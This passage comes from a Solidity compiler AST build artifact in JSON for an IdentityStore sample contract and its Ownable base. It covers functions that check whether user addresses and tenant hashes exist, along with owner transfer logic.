"id": 401,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5592:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 394,
"id": 402,
"nodeType": "Return",
"src": "5585:12:0"
}
]
}
},
{
"expression": {
"argumentTypes": null,
"hexValue": "74727565",
"id": 405,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5624:4:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
"functionReturnParameters": 394,
"id": 406,
"nodeType": "Return",
"src": "5617:11:0"
}
]
},
"documentation": null,
"id": 408,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": true,
"modifiers": [],
"name": "userAddressExists",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 391,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 390,
"name": "userAddress",
"nodeType": "VariableDeclaration",
"scope": 408,
"src": "5451:19:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 389,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "5451:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5450:21:0"
},
"payable": false,
"returnParameters": {
"id": 394,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 393,
"name": "",
"nodeType": "VariableDeclaration",
"scope": 408,
"src": "5494:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 392,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "5494:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5493:6:0"
},
"scope": 428,
"src": "5424:211:0",
"stateMutability": "view",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 426,
"nodeType": "Block",
"src": "5718:163:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 419,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 415,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "5781:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 417,
"indexExpression": {
"argumentTypes": null,
"id": 416,
"name": "tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 410,
"src": "5799:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5781:29:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"argumentTypes": null,
"hexValue": "30",
"id": 418,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5814:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "5781:34:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 423,
"nodeType": "IfStatement",
"src": "5778:76:0",
"trueBody": {
"id": 422,
"nodeType": "Block",
"src": "5817:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 420,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5838:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 414,
"id": 421,
"nodeType": "Return",
"src": "5831:12:0"
}
]
}
},
{
"expression": {
"argumentTypes": null,
"hexValue": "74727565",
"id": 424,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5870:4:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
"functionReturnParameters": 414,
"id": 425,
"nodeType": "Return",
"src": "5863:11:0"
}
]
},
"documentation": null,
"id": 427,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": true,
"modifiers": [],
"name": "userTenantHashExists",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 411,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 410,
"name": "tenantHash",
"nodeType": "VariableDeclaration",
"scope": 427,
"src": "5671:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 409,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "5671:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5670:20:0"
},
"payable": false,
"returnParameters": {
"id": 414,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 413,
"name": "",
"nodeType": "VariableDeclaration",
"scope": 427,
"src": "5713:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 412,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "5713:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5712:6:0"
},
"scope": 428,
"src": "5641:240:0",
"stateMutability": "view",
"superFunction": null,
"visibility": "internal"
}
],
"scope": 429,
"src": "1687:4196:0"
}
],
"src": "0:5883:0"
},
"legacyAST": {
"absolutePath": "/Users/fernandolobato/Desktop/Microsoft-Identities-on-the-Ethereum-Blockchain/identity-smart-contract/contracts/IdentityStore_Sample.sol",
"exportedSymbols": {
"IdentityStore": [
428
],
"Ownable": [
85
]
},
"id": 429,
"nodeType": "SourceUnit",
"nodes": [
{
"id": 1,
"literals": [
"solidity",
"^",
"0.4",
".24"
],
"nodeType": "PragmaDirective",
"src": "0:24:0"
},
{
"baseContracts": [],
"contractDependencies": [],
"contractKind": "contract",
"documentation": "@title Ownable\n@dev The Ownable contract has an owner address, and provides basic authorization control\nfunctions, this simplifies the implementation of \"user permissions\".",
"fullyImplemented": true,
"id": 85,
"linearizedBaseContracts": [
85
],
"name": "Ownable",
"nodeType": "ContractDefinition",
"nodes": [
{
"constant": false,
"id": 3,
"name": "owner",
"nodeType": "VariableDeclaration",
"scope": 85,
"src": "238:20:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 2,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "238:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "public"
},
{
"anonymous": false,
"documentation": null,
"id": 7,
"name": "OwnershipRenounced",
"nodeType": "EventDefinition",
"parameters": {
"id": 6,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 5,
"indexed": true,
"name": "previousOwner",
"nodeType": "VariableDeclaration",
"scope": 7,
"src": "289:29:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 4,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "289:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "288:31:0"
},
"src": "264:56:0"
},
{
"anonymous": false,
"documentation": null,
"id": 13,
"name": "OwnershipTransferred",
"nodeType": "EventDefinition",
"parameters": {
"id": 12,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 9,
"indexed": true,
"name": "previousOwner",
"nodeType": "VariableDeclaration",
"scope": 13,
"src": "355:29:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 8,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "355:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 11,
"indexed": true,
"name": "newOwner",
"nodeType": "VariableDeclaration",
"scope": 13,
"src": "390:24:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 10,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "390:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "349:69:0"
},
"src": "323:96:0"
},
{
"body": {
"id": 21,
"nodeType": "Block",
"src": "561:29:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"id": 19,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"id": 16,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "567:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 17,
"name": "msg",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 529,
"src": "575:3:0",
"typeDescriptions": {
"typeIdentifier": "t_magic_message",
"typeString": "msg"
}
},
"id": 18,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "sender",
"nodeType": "MemberAccess",
"referencedDeclaration": null,
"src": "575:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "567:18:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 20,
"nodeType": "ExpressionStatement",
"src": "567:18:0"
}
]
},
"documentation": "@dev The Ownable constructor sets the original `owner` of the contract to the sender\naccount.",
"id": 22,
"implemented": true,
"isConstructor": true,
"isDeclaredConst": false,
"modifiers": [],
"name": "",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 14,
"nodeType": "ParameterList",
"parameters": [],
"src": "551:2:0"
},
"payable": false,
"returnParameters": {
"id": 15,
"nodeType": "ParameterList",
"parameters": [],
"src": "561:0:0"
},
"scope": 85,
"src": "540:50:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 32,
"nodeType": "Block",
"src": "691:46:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 28,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 25,
"name": "msg",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 529,
"src": "705:3:0",
"typeDescriptions": {
"typeIdentifier": "t_magic_message",
"typeString": "msg"
}
},
"id": 26,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "sender",
"nodeType": "MemberAccess",
"referencedDeclaration": null,
"src": "705:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"argumentTypes": null,
"id": 27,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "719:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "705:19:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
}
],
"id": 24,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 532,
"src": "697:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$",
"typeString": "function (bool) pure"
}
},
"id": 29,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "697:28:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 30,
"nodeType": "ExpressionStatement",
"src": "697:28:0"
},
{
"id": 31,
"nodeType": "PlaceholderStatement",
"src": "731:1:0"
}
]
},
"documentation": "@dev Throws if called by any account other than the owner.",
"id": 33,
"name": "onlyOwner",
"nodeType": "ModifierDefinition",
"parameters": {
"id": 23,
"nodeType": "ParameterList",
"parameters": [],
"src": "688:2:0"
},
"src": "670:67:0",
"visibility": "internal"
},
{
"body": {
"id": 48,
"nodeType": "Block",
"src": "1047:65:0",
"statements": [
{
"eventCall": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 39,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1077:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 38,
"name": "OwnershipRenounced",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 7,
"src": "1058:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_event_nonpayable$_t_address_$returns$__$",
"typeString": "function (address)"
}
},
"id": 40,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1058:25:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 41,
"nodeType": "EmitStatement",
"src": "1053:30:0"
},
{
"expression": {
"argumentTypes": null,
"id": 46,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"id": 42,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1089:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"hexValue": "30",
"id": 44,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1105:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
}
],
"id": 43,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "1097:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": "address"
},
"id": 45,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1097:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "1089:18:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 47,
"nodeType": "ExpressionStatement",
"src": "1089:18:0"
}
]
},
"documentation": "@dev Allows the current owner to relinquish control of the contract.\n@notice Renouncing to ownership will leave the contract without an owner.\nIt will not be possible to call the functions with the `onlyOwner`\nmodifier anymore.",
"id": 49,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 36,
"modifierName": {
"argumentTypes": null,
"id": 35,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "1037:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "1037:9:0"
}
],
"name": "renounceOwnership",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 34,
"nodeType": "ParameterList",
"parameters": [],
"src": "1027:2:0"
},
"payable": false,
"returnParameters": {
"id": 37,
"nodeType": "ParameterList",
"parameters": [],
"src": "1047:0:0"
},
"scope": 85,
"src": "1001:111:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 60,
"nodeType": "Block",
"src": "1337:40:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 57,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 51,
"src": "1362:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 56,
"name": "_transferOwnership",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 84,
"src": "1343:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$returns$__$",
"typeString": "function (address)"
}
},
"id": 58,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1343:29:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 59,
"nodeType": "ExpressionStatement",
"src": "1343:29:0"
}
]
},
"documentation": "@dev Allows the current owner to transfer control of the contract to a newOwner.\n@param _newOwner The address to transfer ownership to.",
"id": 61,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 54,
"modifierName": {
"argumentTypes": null,
"id": 53,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "1327:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "1327:9:0"
}
],
"name": "transferOwnership",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 52,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 51,
"name": "_newOwner",
"nodeType": "VariableDeclaration",
"scope": 61,
"src": "1301:17:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 50,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1301:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "1300:19:0"
},
"payable": false,
"returnParameters": {
"id": 55,
"nodeType": "ParameterList",
"parameters": [],
"src": "1337:0:0"
},
"scope": 85,
"src": "1274:103:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 83,
"nodeType": "Block",
"src": "1568:115:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 71,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"id": 67,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 63,
"src": "1582:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "!=",
"rightExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"hexValue": "30",
"id": 69,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1603:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
}
],
"id": 68,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "1595:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": "address"
},
"id": 70,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1595:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "1582:23:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
}
],
"id": 66,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 532,
"src": "1574:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$",
"typeString": "function (bool) pure"
}
},
"id": 72,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1574:32:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 73,
"nodeType": "ExpressionStatement",
"src": "1574:32:0"
},
{
"eventCall": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 75,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1638:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"argumentTypes": null,
"id": 76,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 63,
"src": "1645:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 74,
"name": "OwnershipTransferred",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 13,
"src": "1617:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_event_nonpayable$_t_address_$_t_address_$returns$__$",
"typeString": "function (address,address)"
}
},
"id": 77,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1617:38:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 78,
"nodeType": "EmitStatement",
"src": "1612:43:0"
},
{
"expression": {
"argumentTypes": null,
"id": 81,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"id": 79,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1661:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 80,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 63,
"src": "1669:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "1661:17:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 82,
"nodeType": "ExpressionStatement",
"src": "1661:17:0"
}
]
},
"documentation": "@dev Transfers control of the contract to a newOwner.\n@param _newOwner The address to transfer ownership to.",
"id": 84,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [],
"name": "_transferOwnership",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 64,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 63,
"name": "_newOwner",
"nodeType": "VariableDeclaration",
"scope": 84,
"src": "1540:17:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 62,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1540:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "1539:19:0"
},
"payable": false,
"returnParameters": {
"id": 65,
"nodeType": "ParameterList",
"parameters": [],
"src": "1568:0:0"
},
"scope": 85,
"src": "1512:171:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
}
],
"scope": 429,
"src": "217:1468:0"
},
{
"baseContracts": [
{
"arguments": null,
"baseName": {
"contractScope": null,
"id": 86,
"name": "Ownable",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 85,
"src": "1713:7:0",
"typeDescriptions": {
"typeIdentifier": "t_contract$_Ownable_$85",
"typeString": "contract Ownable"
}
},
"id": 87,
"nodeType": "InheritanceSpecifier",
"src": "1713:7:0"
}
],
"contractDependencies": [
85
],
"contractKind": "contract",
"documentation": null,
"fullyImplemented": true,
"id": 428,
"linearizedBaseContracts": [
428,
85
],
"name": "IdentityStore",
"nodeType": "ContractDefinition",
"nodes": [
{
"canonicalName": "IdentityStore.User",
"id": 94,
"members": [
{
"constant": false,
"id": 89,
"name": "tenantHash",
"nodeType": "VariableDeclaration",
"scope": 94,
"src": "1752:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 88,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "1752:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 91,
"name": "timestamp",
"nodeType": "VariableDeclaration",
"scope": 94,
"src": "1780:17:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 90,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "1780:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 93,
"name": "tenantId",
"nodeType": "VariableDeclaration",
"scope": 94,
"src": "1807:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
},
"typeName": {
"id": 92,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "1807:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"value": null,
"visibility": "internal"
}
],
"name": "User",
"nodeType": "StructDefinition",
"scope": 428,
"src": "1730:99:0",
"visibility": "public"
},
{
"constant": false,
"id": 98,
"name": "tenantAddressMapping",
"nodeType": "VariableDeclaration",
"scope": 428,
"src": "1835:53:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User)"
},
"typeName": {
"id": 97,
"keyType": {
"id": 95,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1843:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Mapping",
"src": "1835:24:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User)"
},
"valueType": {
"contractScope": null,
"id": 96,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "1854:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
}
},
"value": null,
"visibility": "private"
},
{
"constant": false,
"id": 102,
"name": "tenantHashMapping",
"nodeType": "VariableDeclaration",
"scope": 428,
"src": "1894:53:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
},
"typeName": {
"id": 101,
"keyType": {
"id": 99,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "1902:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "Mapping",
"src": "1894:27:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
},
"valueType": {
"id": 100,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1913:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
},
"value": null,
"visibility": "private"
},
{
"body": {
